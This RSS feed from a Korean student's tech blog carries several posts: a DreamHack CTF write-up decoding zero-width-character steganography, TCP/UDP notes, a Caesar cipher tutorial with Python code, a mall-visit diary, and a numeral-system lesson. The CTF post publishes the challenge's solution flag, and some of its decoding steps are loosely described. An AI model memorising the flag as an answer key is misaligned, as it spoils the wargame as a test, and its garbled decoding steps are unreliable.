<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>coding_pineapple.log</title>
        <link>https://velog.io/</link>
        <description>풍성한 한가위 보내시길 바랍니다.</description>
        <lastBuildDate>Wed, 23 Sep 2026 00:55:42 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>coding_pineapple.log</title>
            <url>https://velog.velcdn.com/images/coding_pineapple/profile/0a8fd385-e6c9-4af8-955f-ea2a493707d7/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. coding_pineapple.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/coding_pineapple" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[DreamHack] ​‌​‌‌​‌​​‌‌​‌‌​‌​‌‌‌‌​​​​‌‌​‌​​​​‌​‌‌​‌​​​‌​‌​‌‌​‌‌‌​‌​‌​‌​​‌​‌‌​‌‌​‌‌​​​‌​​​​​‌​​‌‌‌‌​‌​​‌‌‌‌​‌ (flag는) 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-flag%EB%8A%94-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-flag%EB%8A%94-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Wed, 23 Sep 2026 00:55:42 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 ​‌​‌‌​‌​​‌‌​‌‌​‌​‌‌‌‌​​​​‌‌​‌​​​​‌​‌‌​‌​​​‌​‌​‌‌​‌‌‌​‌​‌​‌​​‌​‌‌​‌‌​‌‌​​​‌​​​​​‌​​‌‌‌‌​‌​​‌‌‌‌​‌ 에 관해 풀어보겠습니다.</p>
<h1 id="">​‌​‌‌​‌​​‌‌​‌‌​‌​‌‌‌‌​​​​‌‌​‌​​​​‌​‌‌​‌​​​‌​‌​‌‌​‌‌‌​‌​‌​‌​​‌​‌‌​‌‌​‌‌​​​‌​​​​​‌​​‌‌‌‌​‌​​‌‌‌‌​‌</h1>
<hr>
<a href="https://dreamhack.io/wargame/challenges/3166">https://dreamhack.io/wargame/challenges/3166</a>

<pre><code>​​‌‌​‌‌‌​‌​​‌​‌​​‌‌​​‌​‌​‌‌‌​​‌‌​​‌‌​‌‌​​‌‌‌​​‌​​‌‌​‌​​‌​‌‌‌​‌‌‌​​‌‌​‌‌‌​‌​​‌​‌​​‌‌​​‌​‌​‌​‌​​​‌​‌​​‌​​‌​‌​​‌‌‌‌​‌‌‌‌​​‌​‌​‌‌​​​​‌‌​‌​​​​‌‌‌​‌​‌​‌‌‌‌​​‌​‌‌​​‌​​​‌‌​‌​‌​​‌​​‌‌‌‌​‌‌‌‌​​‌​‌‌​​​​‌​‌‌​‌‌​​​‌​​​​​‌​​‌‌‌‌​‌​​‌‌‌‌​‌
​​‌‌​‌‌‌​‌​‌‌​‌​​‌​‌​‌‌‌​‌​‌‌​​‌​​‌‌​‌‌‌​‌​​‌​‌‌​‌‌​​‌​‌​‌​​​​​‌​​‌‌​‌‌​​​‌‌​‌‌​​‌‌​​‌​‌​‌​​‌‌​‌​‌​​‌​​‌​‌​​‌‌‌‌​​‌‌​​‌​​‌‌​​‌​‌​‌‌​‌​‌​​‌​​‌‌‌‌​​‌‌​​‌​​‌​​‌​‌‌​‌‌‌​‌​‌​‌​​‌‌‌‌​‌‌‌​‌​‌​‌​​‌​‌‌​‌‌​‌‌​​​‌​​​​‌‌​‌​​​‌​​​‌‌‌​​‌‌​‌‌​‌‌‌​​‌‌​‌‌‌‌​‌‌​‌​‌​​‌‌‌​​‌‌​‌‌​‌‌‌​​‌​‌‌​​‌​‌‌‌​‌‌‌
​​‌‌​‌‌‌​‌​​‌‌​​​‌​‌​‌‌‌​‌‌​​​‌‌​​‌‌​‌‌‌​‌​​‌‌​​​‌​‌​​‌‌​‌​​‌​​‌​​‌‌​‌‌‌​‌​​‌​‌​​​‌‌​​‌​​‌​‌‌​​‌​‌​​‌​​‌​‌​​‌‌‌‌​‌‌‌​‌​‌​‌​‌​‌​​​‌‌​‌‌‌​​‌​​‌‌‌‌​‌‌‌​‌​‌​‌‌​‌‌​‌​‌‌‌​‌‌​​‌​​‌‌‌‌​​‌‌​​‌​​‌​‌​‌‌​​‌‌‌​‌​​​‌​‌​​‌‌​‌​​​​‌​​‌‌​‌​‌​​‌‌​​‌​​​‌​​​‌‌‌​‌​‌‌​​‌​‌‌​​‌‌‌​​‌‌​‌​​​​‌‌​‌​​​‌​‌​​‌‌​​‌‌​​​​​​‌‌​‌​​​​‌‌​‌​​​‌​‌​‌‌‌​‌​​‌​‌​</code></pre><br>

<pre><code>flag 형식은 DH{...}
문제 페이지에 힌트가?
</code></pre><br>

<p align='center'>
<img src="https://media1.tenor.com/m/pKMb6P4KjHIAAAAC/meccha-chameleon-mecha-chameleon.gif" target="_blank" width=70%></p>


<p>어...예, 사실 모르시겠지만 방금 제목과 문제를 지나치셨습니다</p>
<p>...놀랍게도 저게 제목이자 문제인데</p>
<p>문제를 개발자 도구에서 보면</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/d130b52d-6e95-4693-bc47-e53266efbc52/image.png
">
텅 비어있는... 곳에 어째서인지 다음과 같은 구문들이 있음을 알 수 있습니다</p>
<pre><code>&amp;ZeroWidthSpace;&amp;ZeroWidthSpace;&amp;zwnj;&amp;zwnj;&amp;ZeroWidthSpace;&amp;zwnj...</code></pre><p>각각 
<code>&amp;ZeroWidthSpace;</code> → <strong>실제 문자 U+200B</strong>
<code>&amp;zwnj;</code> → <strong>실제 문자 U+200C</strong></p>
<p>이렇게 치환되는데 
유니코드 <strong>U+200B</strong>의 경우 _눈에 보이지 않는 공백_이지만 데이터 상의 <code>&amp;ZeroWidthSpace;</code>라고 공간을 차지하며</p>
<p>유니코드 <strong>U+200C</strong>의 경우에도 _글자와 글자가 서로 결합하지 않도록 강제로 떼어놓는 역할_을 하는... 예, 그냥 안보이는 글 2입니다</p>
<p>엄연히 U+200B와 마찬가지로 데이터 상의 <code>&amp;zwnj;</code>라고 차지합니다</p>
<p>그렇다면 위 두 가지를 보고 알 수 있는 것은 위 문제는</p>
<p><strong>제로폭 스테가노그래피</strong>를 이용한 문제임을 파악할 수 있습니다</p>
<p><br><br><br><br><br></p>
<h1 id="0️⃣제로폭-스테가노그래피란❓">0️⃣제로폭 스테가노그래피란❓</h1>
<p>0️⃣Zero-width Steganography</p>
<hr>

<p>제로폭 스테가노그래피는 눈에는 거의 보이지 않는 유니코드 문자를 이용해 평범한 문장 속에 데이터를 숨기는 기법입니다</p>
<p>주로</p>
<pre><code>U+200B : Zero Width Space
U+200C : Zero Width Non-Joiner
U+200D : Zero Width Joiner
U+FEFF : Zero Width No-Break Space</code></pre><p>문자들이 쓰이는데</p>
<p>위 문자들의 공통점은 모두 <strong>&#39;폭이 0&#39;</strong> 입니다</p>
<p>즉, <em>폭이 0에 가까워서</em> 겉보기에는 아무것도 안보이지만
개발자 도구를 참고하면 방금과 같이 문자열이 나열됨을 알 수 있습니다</p>
<p>여기서 인코더의 해석에 따라 좀 갈리는데 보편적으로는 문자 두 개를 각각 <strong>0️⃣과 1️⃣로 치환</strong>하여 데이터를 숨깁니다</p>
<p>위의 문제에서는 <strong>U+200B → 0</strong>, <strong>U+200C → 1</strong> 로 치환해보면</p>
<pre><code>첫 번째 문장
11101100 10010111 10101100
11101010 10111000 10110000
11101100 10010111 10010000
00100000 11101100 10010111 
10000110 11101100 10011101 
10001100 11101100 10011010 
10010100

두 번째 문장
11101101 10010101 10011000
11101100 10100111 10000000
11101011 10100111 10001100
00100000 11101101 10011110 
10001100 11101101 10001010
10111000 11101011 10001010 
10010100 00100000 11101100 
10011110 10001000 11101100
10011101 10001100

세 번째 문장
11101100 10110101 10011100
11101100 10110100 10001000
11101100 10011101 10011000
00100000 11101011 10010011 
10011100 11101011 10100110 
10111100 11101101 10010101 
10110101 00100000 01100011 
01110100 01100110 00100000 
11100011 10000100 10110100
11100011 10000101 10001001</code></pre><p>이렇게 바이너리 코드를 <strong>8자리</strong>씩 묶은 뒤 이를 <strong>10진수로 변환</strong>하면 </p>
<pre><code>첫 번째 문장
7Jes6riw7JeQIOyXhuydjOyalA==

두 번째 문장
7ZWY7KeA66eMIO2ejO2KuOuKlCDsnojsnYw

세 번째 문장
7LWc7LSI7J2YIOuTnOumvO2VtSBjdGYg44S044WJ</code></pre><p>가 되게 됩니다</p>
<p>이를 또 <strong>Base64</strong>로 디코딩하면</p>
<pre><code>첫 번째 문장
여기에 없음요

두 번째 문장
하지만 힌트는 있음

세 번째 문장
최초의 드림핵 ctf ㄴㅉ</code></pre><p>가 나오게 됩니다</p>
<p>음, 아마 ㄴㅉ는 <del>낯짝</del> 날짜를 말하는 것 같은데</p>
<p>최초의 드림핵 날짜는 <code>2020.09.29</code> 이므로
플래그는 DH{2020.09.29} 이 되게 됩니다</p>
<p>flag : DH{2020.09.29}
평가 : </p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/274c5cb5-37e5-40c9-9cb6-6282c435a689/image.png
" width=70%></p>]]></description>
        </item>
        <item>
            <title><![CDATA[TCP와 UDP]]></title>
            <link>https://velog.io/@coding_pineapple/TCP%EC%99%80-UDP</link>
            <guid>https://velog.io/@coding_pineapple/TCP%EC%99%80-UDP</guid>
            <pubDate>Wed, 23 Sep 2026 00:42:32 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 TCP와 UDP에 관해 알아보겠습니다.</p>
<h1 id="🔒-span-stylecolor-fffacdtcpspan">🔒 <span style="color: #FFFACD">TCP</span></h1>
<p><strong><span style="color: #FFFACD">Transmission Control Protocol</span></strong></p>
<hr>
<strong>TCP</strong>는 컴퓨터들이 네트워크를 통해 데이터를 안전하고 정확하게 주고받기 위해 사용하는 <strong>전송 제어 프로토콜</strong>입니다 

<p>인터넷은 본질적으로 <span style="color: red"><strong>불안정적</strong></span>이기에 TCP를 통하여 <strong>안정적이고 신뢰성 있는 전송을 보장합니다</strong></p>
<p>대표적인 특징들로는 </p>
<ul>
<li><p><strong>신뢰성 보장</strong> : 데이터를 작은 조각(<strong>패킷</strong>)으로 나누어 보낸 후, 유실된 조각이 있으면 다시 보내라고 요청하여 데이터 손실을 막습니다</p>
</li>
<li><p><strong>순서 유지</strong> : 패킷이 뒤바뀌어 도착하지 않도록 올바른 순서대로 조립합니다</p>
</li>
<li><p><strong>연결형 통신</strong> : 통신을 시작하기 전 <strong>3-way handshake</strong> 과정을 통해 연결을 먼저 맺고 신뢰할 수 있는 상태를 만듭니다</p>
</li>
<li><p><strong>혼잡 제어</strong> : 네트워크 상황에 맞춰 전송 속도를 조절해 과부하를 방지합니다</p>
</li>
</ul>
<p>등이 있습니다</p>
<p>신뢰성이 높은 특징으로 *<em>HTTP/HTTPS, 이메일, 파일 전송(FTP), SSH *</em>등에 사용됩니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/1_rDlopCuOAAAAAC/nerd-dog-nerd.gif" width=50%></p>

<h2 id="3️⃣-way-handshake">3️⃣-Way-Handshake</h2>
<hr>
3-Way-Handshake는 TCP <strong>연결을 시작하기 전</strong>에 상대방 컴퓨터와 사전에 세션을 수립하는 과정입니다



<p>총 세 단계를 거쳐서 교환을 하는데 각각 단방향적으로 서로 패킷을 주고받습니다 뭐, HandShake (악수) 니까 서로 악수하는 게 더 어울릴련지</p>
<p>3-Way-Handshake는 다음과 같은 과정을 거칩니다</p>
<pre><code>SYN (클라이언트 → 서버): 단방향 요청

SYN + ACK (서버 → 클라이언트): 단방향 응답 및 역방향 연결 요청

ACK (클라이언트 → 서버): 단방향 확인 응답</code></pre><p>조금 예시를 들자면 코딩 파인애플과 제 친구 더미가 서로 게임을 시작했다 가정해봅시다</p>
<pre><code>코딩 파인애플 (SYN) (확인) : 야이 @&amp;%#@ㅑ!! &amp;#@*야!!! 

더미 (SYN + ACK) : (욕설 감지)

더미 (ACK) (반응) : ㅇ~ ㅄ ㅋ ㅗㅗ

(진짜 서로 게임 시작하면 이럶)</code></pre><p>ㅔ...뭐 이런 식입니다 (...)</p>
<h2 id="4️⃣-way-handshake">4️⃣-Way-Handshake</h2>
<hr>
TCP 연결을 안전하게 종료하기 위한 과정입니다.

<p>3-Way는 연결을 시작할 때, 4-Way는 연결을 끝낼 때 사용됩니다.</p>
<p>한쪽이 &quot;연결 끝낸다&quot; 라고 하더라도, 상대방이 아직 보낼 데이터가 남아있을 수 있기 때문입니다</p>
<p>따라서 양쪽이 모두 &quot;정말 더 이상 보낼 게 없다&quot;는 신호를 주고받아야 합니다</p>
<p>4-Way-Handshake는 다음과 같은 과정을 거칩니다</p>
<pre><code>FIN (클라이언트 → 서버): 연결 종료 FIN 패킷을 보냄

ACK (서버 → 클라이언트): FIN을 받으면 잘 받았다는 ACK를 보냄

FIN (서버 → 클라이언트): 서버도 클라이언트도 끝낼 준비를 마친 FIN패킷을 보냄

ACK (클라이언트 → 서버): 마지막으로 확인용 ACK를 보내고 종료.</code></pre><pre><code>코딩 파인애플 (FIN) : 야 이거 재미없다

더미 : 그러게.

코딩 파인애플 : 걍 시마이 하실?

더미 : ㅇㅇ ㅂㅂ</code></pre><h1 id="⚡-span-stylecolorf4ab6audpspan">⚡ <span style="color:#F4AB6A">UDP<span></h1>
<p><span style="color:#F4AB6A"><strong>User Datagram Protocol</strong><span></p>
<hr>
<strong>UDP</strong>는 <strong>비연결형이고 신뢰성을 보장하지 않는</strong> 프로토콜입니다

<p>UDP는 TCP와 다르게 <span style="color: red"><strong>패킷이 손실될 수도 있고</strong></span> 3-Way-HandShake도 안거치며 재전송또한 하지 않는 뭐, TCP 샌님의 못난 누이에 가깝지만...</p>
<p>TCP와 다르게 3-Way-HandShake를 거치지 않아 <strong>속도가 매우 빠르고 효율이 높다</strong>는 장점이 존재합니다</p>
<p>그래서인지 <strong>실시간 영상/음성 통화, 온라인 게임, DNS 조회, 스트리밍</strong>에 UDP가 주로 쓰입니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/4c5cMVmHB_kAAAAC/keemstar-running.gif" width=50%>
</p>

<h2 id="✅-span-stylecolor-228b22checksumspan">✅ <span style="color: #228B22">Checksum</span></h2>
<hr>
<strong>체크섬</strong>은 그냥 무지성으로 데이터를 주고받기만 하는 UDP의 그나마 남은 지성 (...) 에 가깝습니다

<p>그러니까... UDP는 최소한의 검증 장치로에 가깝습니다</p>
<p>체크섬이 과정은</p>
<p>UDP 패킷 안의 모든 데이터를 2바이트 단위로 쪼개서 모두 더하고 그 더한 값을 바탕으로 계산된 최종 결과를 UDP 헤더의 &#39;Checksum&#39; 칸에 적어서 보냅니다</p>
<p>패킷이 도착하면, 수신 측 컴퓨터도 똑같이 패킷의 데이터를 16비트 단위로 다시 모두 더해봅니다</p>
<p>만일, 직접 더한 값과 패킷 헤더에 적혀 온 &#39;Checksum&#39; 값이 일치하는지 확인하고 맞으면 올리고 틀리면 그 패킷을 재전송 없이 폐기합니다</p>
<p>예, 그냥 UDP는 무지성이 맞긴 합니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/VCPziNHP09MAAAAd/attack-on-titan-funny.gif"></p>





<p><br><br><br></p>
<p>뭐...사실 TCP는 이것 말고도 다룰 요소가 더 많긴 하지만 추후 글을 수정하면서 더 보완할 예정입니다</p>
<br>

<p>  이상으로 글을 마치겠습니다 감사합니다.</p>
  <p align='center'>
  <img src="https://velog.velcdn.com/images/coding_pineapple/post/21100770-752b-4692-b27f-583eb6685e4b/image.png" width=70%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[카이사르 (시저) 암호학]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%B9%B4%EC%9D%B4%EC%82%AC%EB%A5%B4-%EC%8B%9C%EC%A0%80-%EC%95%94%ED%98%B8%ED%95%99</link>
            <guid>https://velog.io/@coding_pineapple/%EC%B9%B4%EC%9D%B4%EC%82%AC%EB%A5%B4-%EC%8B%9C%EC%A0%80-%EC%95%94%ED%98%B8%ED%95%99</guid>
            <pubDate>Tue, 22 Sep 2026 09:28:55 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 카이사르 암호에 관해 알아보겠습니다.</p>
<h1 id="카이사르-암호란❓">카이사르 암호란❓</h1>
<p>카이사르 암호, 시저 암호라고도 불리는 암호학은 단일 문자 치환 암호의 대표적인 예시로 기원전 44년 <strong>Caesar 장군</strong>이 사용한 암호입니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/mJ1FDpUEtjgAAAAC/jjba-caesar.gif" width=50%></p>
카이사르 암호의 핵심 원리는 알파벳을 일정한 칸수만큼 밀어서 글자를 바꾸는 <strong>‘치환’</strong>과 끝에 도달하면 처음으로 돌아오는 <strong>‘순환’</strong>입니다

<p>예를 들어 </p>
<pre><code>평문 알파벳: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z</code></pre><p>이 있다고 가정하였을 때 알파벳을 몇 칸 밀어서 암호화할지 결정하는 &quot;Key&quot;가 3일 경우 암호 알파벳은</p>
<pre><code>암호 알파벳: D E F G H I J K L M N O P Q R S T U V W X Y Z A B C</code></pre><p>가 됩니다</p>
<p>그렇다면 <code>&quot;What&#39;s up&quot;</code> 이라는 평문을 키값이 3인 카이사르 암호로 암호화한다면</p>
<pre><code>W → X → Y → Z
h → i → j → k
a → b → c → d
t → u → v → w
&#39; → (특수문자는 제외) → &#39;

s → t → u → v
u → v → w → x
p → q → r → s

= Zkdw&#39; vxs</code></pre><p><code>Zkdw&#39; vxs</code>가 되게 됩니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/eKMbvUN-ZfcAAAAd/caesar-zzz.gif" width=50%>
</p>


<p>인터넷 좀 뒤져봤다 하시는 분들은 <strong>ROT 13</strong>3️⃣3️⃣3️⃣이라고 한 번 쯤은 보셨을거라고 (아마..?) 생각합니다</p>
<p><strong>ROT13</strong> 또한 마찬가지로 카이사르 암호의 단순한 변형입니다
단순 키값이 13이라 카이사르 암호에서 단순 13번 밀어내는 게 끝입니다</p>
<p>그걸 <strong>ROT13</strong>이라고 부릅니다 (...)</p>
<hr>

<h2 id="py7h0n-구현-❗❗❗">Py7h0n 구현 +❗+❗+❗</h2>
<p>파이썬 코드로 단순 카이사르 암호를 구현하면 다음과 같습니다</p>
<pre><code>def caesar_encrypt(text, key):
    result = &quot;&quot;
    for char in text:
        if char.isupper():
            result += chr((ord(char) - 65 + key) % 26 + 65)
        elif char.islower():
            result += chr((ord(char) - 97 + key) % 26 + 97)
        else: result += char
    return result

def caesar_decrypt(text, key):
    return caesar_encrypt(text, -key)

# 평문 텍스트 입력
origin_text = &quot;&quot;
# 키 입력
secret_key = 

encrypted_text = caesar_encrypt(origin_text, secret_key)
print(f&quot;암호화 결과: {encrypted_text}&quot;)

decrypted_text = caesar_decrypt(encrypted_text, secret_key)
print(f&quot;복호화 결과: {decrypted_text}&quot;)</code></pre><hr>
한번 배웠던 내용을 실습해봅시다 : <a href="https://dreamhack.io/wargame/challenges/1817?writeup_page=2" target="_blank">https://dreamhack.io/wargame/challenges/1817?writeup_page=2</a>
<br>
<hr>
이상으로 글을 마치겠습니다 감사합니다.

<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/b5b74b82-ad72-4fa3-a07a-07b3c412911c/image.png" width=75%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[일상] 용산 아이파크몰 리빙파크 후기]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-%EC%9A%A9%EC%82%B0-%EC%95%84%EC%9D%B4%ED%8C%8C%ED%81%AC%EB%AA%B0-%EB%A6%AC%EB%B9%99%ED%8C%8C%ED%81%AC-%ED%9B%84%EA%B8%B0-1</link>
            <guid>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-%EC%9A%A9%EC%82%B0-%EC%95%84%EC%9D%B4%ED%8C%8C%ED%81%AC%EB%AA%B0-%EB%A6%AC%EB%B9%99%ED%8C%8C%ED%81%AC-%ED%9B%84%EA%B8%B0-1</guid>
            <pubDate>Mon, 21 Sep 2026 08:40:21 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까, 코딩 파인애플입니다.</p>
<p>정말 오랜만에 인사드립니다. 9월 중순부터 자격증 시험과 CSK 2026 행사가 겹치는 바람에, 본의 아니게 보름 동안이나 블로그를 쉬고 말았습니다. 기다려주신 분들께 죄송합니다.
<img src="https://media1.tenor.com/m/MKcAR6rDIo4AAAAd/%EC%BC%80%EC%9D%B8-%EC%A3%84%EC%86%A1%ED%95%A9%EB%8B%88%EB%8B%A4.gif" width=50%>사실 이번 포스팅 주제는 &#39;용산 아이파크몰 리빙파크 후기&#39;가 아니라 &#39;CSK 2026 생생 후기&#39;가 되는 게 마땅하지만...</p>
<p>무지한 코딩 파인애플이 CSK 사진은 안 찍고 용산 아이파크몰 사진만 주구장창 찍어온 바람에 급하게 주제를 변경하게 되었습니다</p>
<p>그나마 찍어온 사진이라고는 이것밖에 없는 것 같습니다</p>
<p align='center'>

<table>
<thead>
<tr>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/24b64965-6b9a-4ee0-8ee4-271cb7399f07/image.png" width=50%></th>
<th><img src="https://velog.velcdn.com/images/coding_pineapple/post/2c48f5b8-a9b4-4ef6-9c17-742ef1b72de7/image.png"></th>
</tr>
</thead>
<tbody><tr>
<td></p></td>
<td></td>
</tr>
</tbody></table>
<p>왼쪽부터 각각 프로그램 행사에서 받은 안내도와 국정원 시계 (!!!) 입니다</p>
<p>...</p>
<p>그렇게 CSK 행사를 잘 마무리하고 돌아오는 길, KTX 기차 시간을 기다리며 용산 아이파크몰 리빙파크를 살짝 탐방해 보았습니다</p>
<p>아쉬운 대로 준비한 아이파크몰 리빙파크 탐방기, 내부 구성부터 하나씩 보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/7807e746-5081-4a3d-9f92-441f40f6d76f/image.jpg"
 width=50%></p>
<p>요즘 아사람들이 좋아한다는 치이카와랍니다
팝업스토어인지 모르지만 늦게까지 문전성시였습니다
ㅁ ㅓ, 귀여우니 보기 좋습니다</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/0ea4e94b-bf54-40dc-9741-a80fe748e723/image.jpg" width=50%></p>

<blockquote>
<p><em><strong>&quot; 메티스!! 이 자식들 빨리 와! 빨리 오라고오오!!! &quot;</strong></em>
- 슈렌느</p>
</blockquote>
<img src="https://media1.tenor.com/m/ntGJ_sqUnNkAAAAd/nikke-missilis.gif" width=20%>

<p><br><br><br></p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/25fabe43-db4f-41fa-87ea-6a55d20f5dbb/image.jpg" width=50%></p>

<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTShskSnuYr2wDc8btiDlU7dQyWKK1kAqX95N8HB7MynFGUKOYVoLhCifOR&s=10">
</p><br><br><br><br><br><br>    
<p align='center'>
<img src="
https://velog.velcdn.com/images/coding_pineapple/post/3d98667a-0ab5-4e37-ad98-404a42dddcc1/image.jpg
" width=50%>
</p>

<blockquote>
<p><em><strong>&quot; Dobby is Free! &quot;</strong></em>
- 0 ₩</p>
</blockquote>
<p><br><br><br><br><br><br></p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/a6a217a4-74fb-4957-8aa0-a9ef50d6f537/image.jpg
" width=50%></p>
오, 제 친구 더미가 주글만큼 좋아하는 미쿠 뭉탱이입니다<img src="https://media.tenor.com/PxT7rk7lGnwAAAAi/%EB%AC%B4%EB%B9%99%EB%A7%A8-%EC%BC%80%EC%9D%B8.gif" width=20%></p>
<p><br><br><br></p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/3464ae50-049a-4439-95b2-a542edc6d7d1/image.jpg
" width=50%>
<strong>순정을 사수</strong>하랍니다</p>
<p>사실, 남자들 사이에서는 순정은 없고
오직 <span style="color: red"><strong>해병 짜장</strong></span>과 <span style="color: pink"><strong>전우애</strong></span>만이 존재합니다<img src="https://velog.velcdn.com/images/coding_pineapple/post/78c73c5b-a35c-41b1-a6fe-e48bf8e9dd01/image.png" width=50%    >
<br><br><br><br><br><br></p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/48995e9b-411d-4d6b-ab7e-588e9836b172/image.jpg" width=50%>
</p>
<img src="https://media1.tenor.com/m/-QjqtEhN9soAAAAC/legend-of-zelda-botw.gif" width=20%>
<br><br><br>
<br><br><br>

<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/956cae3e-b856-41fb-992f-f1f43043e19d/image.jpg
" width=50%></p>
</p>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSY-2YQVMYJ_ZXUiPbqzyq6VB-K6czS_Jr8OWDWrTsHPErjEgWj5773640&s=10" width=20%>
사실 저도 여기에 그 무슨 메모리얼? 인지 하는 곳이라는 걸 처음 알았습니다
<br>
<hr>


<p>이상으로 후기로 위장한 뻘글이였습니다 (...)
다음 시간에는 다시 본업 복귀 포스팅을 예고하면서
글을 마치겠습니다 감사합니다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/b47d1861-1820-4444-a312-f12fd343eb88/image.png" width=50%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[진법과 변환]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%A7%84%EB%B2%95%EA%B3%BC-%EB%B3%80%ED%99%98</link>
            <guid>https://velog.io/@coding_pineapple/%EC%A7%84%EB%B2%95%EA%B3%BC-%EB%B3%80%ED%99%98</guid>
            <pubDate>Mon, 07 Sep 2026 10:29:29 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 진법과 변환에 관해 알아보겠습니다</p>
<p>들어가기 앞서 <a href="https://youtu.be/n35iX3dA-V0?si=5n7ZYqPVYbEEL-NP" target="_blank">이 영상</a>을 참고하여 만들었음을 밝힙니다
<img src="https://media1.tenor.com/m/DureO11zKU0AAAAC/momoi-momoi-saiba.gif"></p>
<h1 id="진법이란-🤔">진법이란? 🤔</h1>
<p><strong>진법(Numeral System)이란</strong>, 자릿수가 올라가는 기준이 되는 단위이자 숫자를 표기하는 방법입니다</p>
<p>예를 들어 저희가 보편적으로 사용하는 건 <strong>10진법</strong>인데 9 이상 넘어가면 10이 되는 경우를 10진법이라 합니다</p>
<p>그렇다면 10진법이 아닌 8진법이나 16진법의 경우 각각</p>
<p><strong>7 이상이 되면 10,
15 이상이 되면 10,</strong></p>
<p>즉, 8진법의 경우 <strong>0<del>7 *<em>밖에 못쓰거나 16진법의 경우 *</em>0</del>⑨ 및 A~F까지</strong> 총 16개의 기호밖에 못씁니다</p>
<blockquote>
<p>??? : 않이 ;; 근데 16진법은 15가 넘어가는 순간 10이 되는건데 왜 표기부터 10이 넘어가는대 ;;</p>
</blockquote>
<p>그러기에 10진법 이상부터는 <strong>영단어 A,B,C</strong> 로 표현하는 관례가 있습니다</p>
<p>예를 들어 16진법의 경우 9가 넘어가는 순간 A(10)가 되고 그 다음부터는 B(11)... C(12)... D(13)... E(14)... 최종적으로 F(15) 이상부터는 자리올림이 일어나 10 이 되는 겁니다</p>
<p>그 다음부터는 컴퓨터에서 보편적으로 쓰이는 2진법, 8진법, 16진법에 관해 알아보겠습니다
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQHmiWlJcTPXm01qI_cuO7YBIFiJ1sIBnU1AINak17MIg&s=10">
<HR></p>
<h2 id="2진법">2진법</h2>
<p><strong>2진법(Binary System)</strong>은 숫자 <strong>0과 1</strong> 딱 두 개만 사용하여 모든 수를 표현하는 방식입니다</p>
<p>프로그래밍적으로 표기하면 앞에 <strong>&#39;0b(inary)&#39;</strong>가 따라옵니다</p>
<p>특히나 2진법은 컴퓨터가 정보를 처리하는데 사용합니다</p>
<p>컴퓨터는 빠르지만 능지가 거진 빡@대가리라🌾🐒 내부적으로 1과 0밖에 인식을 못합니다 
<img src="https://velog.velcdn.com/images/coding_pineapple/post/427101cc-7b75-478f-87a2-39dd11ba8aaf/image.png" width=30%>(거짓)<img
src="https://velog.velcdn.com/images/coding_pineapple/post/f75fabd6-fbb4-4bfa-a777-34b858898890/image.png" width=50%>(참❗❗❗)
그렇기에 이 멍1청한 넘에게 복잡한 세상의 데이터를 가르치려면, 세상의 모든 것을 <strong>&#39;있다(1)&#39;</strong>와 <strong>&#39;없다(0)&#39;</strong>라는 이분법으로 번역해야합니다</p>
<p>2진법의 경우</p>
<pre><code>0 1 10 11 100 101 110 111 1000 1001 1010...
0 1  2  3   4   5   6   7    8    9   10...
</code></pre><h3 id="2진수-↔️-10진수">2진수 ↔️ 10진수</h3>
<p>2진수에서 10진수으로 변환하려면 각 자릿수의 위치를 맨 오른쪽부터 0번째, 1번째, 2번째... $n$번째라고 했을 때, 1이 있는 위치마다 $2^n$을 계산해 더해줍니다</p>
<p>예를 들어 67을 2진수으로 나타내면
<code>1000011</code> 이 되는데 여기서 각각의 자릿수를 n이라 하였을 때 각 자릿수마다 <strong>n-1</strong>승을 해주면 계산이 쉽게 됩니다</p>
<p>우선 1로 표기되는 곳들을 계산하면 각각</p>
<p>$2^0 + 2^1 + 2^6 = 1 + 2 + 64$ </p>
<p>와 같음으로 따라서 67이 되는 겁니다</p>
